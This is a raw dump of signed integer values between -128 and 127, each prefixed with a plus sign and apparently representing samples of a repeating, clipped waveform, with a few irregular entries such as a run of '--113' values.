+-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +102 +99 +97 +92 +89 +84 +80 +75 +70 +64 +58 +52 +47 +42 +37 +32 +28 +25 +22 +19 +16 +13 +12 +10 +8 +6 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-108 +-102 +-95 +-73 +-85 +-81 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-30 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +103 +99 +98 +93 +89 +84 +80 +74 +70 +63 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-111 +109 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +100 +92 +86 +83 +80 +79 +75 +73 +69 +66 +61 +57 +51 +47 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +109 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +94 +86 +82 +80 +78 +76 +73 +69 +66 +61 +57 +52 +47 +42 +37 +32 +29 +25 +21 +18 +16 +13 +11 +9 +8 +6 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +-98 +-106 +-101 +-96 +-75 +-85 +-80 +-77 +-73 +-68 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-33 +-31 +-30 +-29 +-28 +-27 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +96 +92 +89 +84 +80 +75 +69 +63 +58 +52 +47 +41 +36 +31 +28 +24 +21 +18 +15 +13 +12 +10 +8 +7 5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-9 +-9 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-101 +-95 +-74 +-86 +-81 +-75 +-72 +-68 +-65 +-61 +-58 +-55 +-53 +-50 +-47 +-46 +-44 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +103 +99 +96 +92 +88 +84 +80 +75 +69 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +18 +16 +13 +11 +9 +7 +6 5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-102 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-53 +-51 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-31 +-30 +-29 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +85 +80 +75 +69 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +86 +83 +80 +78 +75 +74 +70 +67 +62 +57 +52 +48 +43 +-50 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +86 +83 +79 +78 +76 +73 +70 +67 +62 +58 +52 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +86 +82 +80 +78 +75 +73 +70 +66 +62 +57 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +13 +11 +9 +7 +6 +4 +2 +1 +0 +-1 +-2 +-2 +-3 +-5 +-6 +-6 +-8 +-9 +-10 +-11 +-11 +-11 +-12 +-12 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-112 +-107 +-101 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +106 +101 +98 +94 +90 +86 +81 +75 +69 +63 +58 +52 +47 +42 +37 +32 +29 +25 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +3 +0 +-2 +-2 +-3 +-5 +-6 +-7 +-8 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-95 +-74 +-86 +-80 +-76 +-72 +-69 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +103 +99 +96 +92 +89 +85 +80 +75 +69 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +102 +92 +86 +84 +80 +78 +75 +74 +70 +67 +62 +57 +52 +48 +42 +38 +33 +30 +26 +22 +19 +16 +13 +12 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-100 +-95 +-74 +-86 +-80 +-76 +-72 +-69 +-66 +-63 +-58 +-55 +-53 +-51 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +104 +99 +97 +93 +90 +85 +80 +75 +70 +63 +57 +51 +46 +41 +36 +32 +29 +25 +22 +19 +16 +14 +12 +10 +9 +7 +5 +3 +2 +0 +-1 +-2 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-101 +-96 +-75 +-86 +-81 +-77 +-74 +-70 +-65 +-62 +-59 +-57 +-53 +-50 +-48 +-46 +-43 +-40 +-40 +-38 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +100 +97 +94 +90 +85 +80 +74 +70 +63 +57 +52 +47 +41 +37 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-106 +-100 +-95 +-75 +-86 +-66 +-77 +-71 +-68 +-65 +-63 +-58 +-55 +-53 +-51 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +99 +96 +92 +90 +85 +80 +75 +69 +64 +58 +52 +47 +41 +37 +32 +28 +25 +22 +19 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +84 +81 +78 +77 +74 +72 +69 +66 +61 +57 +51 +47 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-107 +-101 +-80 +-90 +-69 +-80 +-76 +-73 +-68 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-36 +-34 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +103 +100 +97 +93 +90 +85 +80 +75 +70 +64 +58 +52 +46 +41 +36 +32 +28 +25 +22 +18 +16 +13 +12 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +89 +83 +80 +78 +77 +74 +72 +69 +66 +61 +57 +52 +47 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-98 +-108 +-102 +-78 +-90 +-70 +-81 +-76 +-72 +-68 +-66 +-62 +-58 +-56 +-54 +-51 +-49 +-46 +-44 +-42 +-39 +-38 +-36 +-35 +-33 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +99 +96 +92 +89 +84 +80 +75 +69 +64 +58 +52 +47 +42 +37 +32 +28 +25 +21 +18 +16 +14 +13 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-97 +-107 +-101 +-95 +-73 +-85 +-80 +-77 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-30 +-29 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +104 +100 +97 +93 +90 +85 +80 +74 +68 +63 +57 +51 +47 +41 +37 +32 +28 +25 +21 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +102 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +99 +91 +84 +80 +78 +76 +74 +71 +68 +64 +60 +56 +51 +46 +41 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-106 +-101 +-80 +-91 +-69 +-80 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +96 +92 +89 +84 +80 +74 +69 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +100 +92 +86 +83 +80 +78 +76 +73 +70 +66 +62 +57 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +13 +10 +9 +7 +5 +4 +2 +1 +-1 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-106 +-101 +-96 +-75 +-85 +-80 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-36 +-35 +-33 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +75 +70 +64 +58 +52 +47 +41 +37 +32 +28 +24 +21 +18 +16 +14 +12 +10 +8 +6 +4 +3 +2 +1 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +-107 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +99 +96 +93 +90 +85 +80 +75 +70 +64 +58 +52 +47 +41 +36 +32 +28 +25 +21 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +102 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +84 +81 +78 +77 +74 +72 +68 +65 +61 +57 +51 +46 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-100 +-79 +-91 +-70 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-44 +-41 +-39 +-39 +-37 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +74 +69 +63 +57 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-102 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +87 +84 +80 +78 +76 +74 +70 +66 +61 +57 +52 +47 +42 +-50 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +83 +80 +78 +76 +73 +69 +66 +62 +57 +52 +47 +42 +38 +32 +28 +25 +22 +18 +16 +13 +11 +9 +7 +6 +4 +2 +1 +0 +-1 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-97 +-107 +-102 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +90 +85 +80 +75 +69 +63 +58 +51 +46 +41 +36 +32 +28 +24 +21 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +-1 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-112 +-107 +-102 +-96 +-74 +-85 +-81 +-76 +-71 +-68 -64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 +-62 +-58 +-55 +-53 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +99 +97 +93 +89 +84 +80 +75 +70 +63 +57 +51 +46 +40 +36 +32 +28 +25 +22 +19 +16 +14 +12 +9 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-112 +-106 +-101 +-96 +-75 +-85 +-80 +-77 +-72 +-68 +-65 +-61 +-59 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-35 +-33 +-32 +-30 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +104 +100 +96 +92 +88 +84 +80 +74 +69 +64 +58 +52 +47 +41 +37 +32 +28 +24 +21 +18 +16 +13 +11 +9 +7 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-106 +-101 +-96 +-74 +-84 +-80 +-76 +-73 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-34 +-34 +-33 +-32 +-29 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +104 +100 +97 +93 +90 +85 +81 +75 +69 +63 +58 +52 +47 +42 +37 +33 +29 +25 +22 +18 +16 +13 +11 +9 +7 +6 +4 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-106 +-101 +-96 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-38 +-38 +-37 +-35 +-33 +-32 +-32 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +100 +97 +93 +90 +86 +80 +75 +70 +64 +58 +52 +47 +42 +37 +32 +29 +25 +22 +19 +17 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-100 +-96 +-75 +-86 +-80 +-76 +-73 +-70 +-65 +-62 +-59 +-56 +-54 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +99 +97 +93 +90 +85 +80 +75 +70 +64 +58 +52 +47 +42 +37 +32 +28 +24 +21 +19 +16 +14 +12 +10 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-112 +-107 +-102 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-55 +-51 +-50 +-48 +-47 +-43 +-42 +-41 +-39 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +97 +93 +89 +84 +80 +74 +70 +64 +58 +52 +47 +42 +37 +32 +28 +25 +22 +19 +16 +14 +12 +9 +8 +6 +4 +3 +2 +1 +0 +-2 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +103 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +99 +90 +84 +81 +78 +76 +74 +72 +69 +65 +61 +56 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-79 +-90 +-69 +-80 +-76 +-72 +-68 +-65 +-61 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-32 +-30 +-29 +-27 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +93 +89 +85 +80 +75 +70 +63 +58 +52 +47 +42 +38 +32 +29 +25 +22 +19 +17 +13 +11 +9 +7 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-107 +-100 +-94 +-74 +-85 +-80 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +74 +69 +63 +58 +52 +48 +42 +37 +32 +29 +25 +21 +18 +16 +14 +12 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-2 +-4 +-5 +-6 +-7 +-8 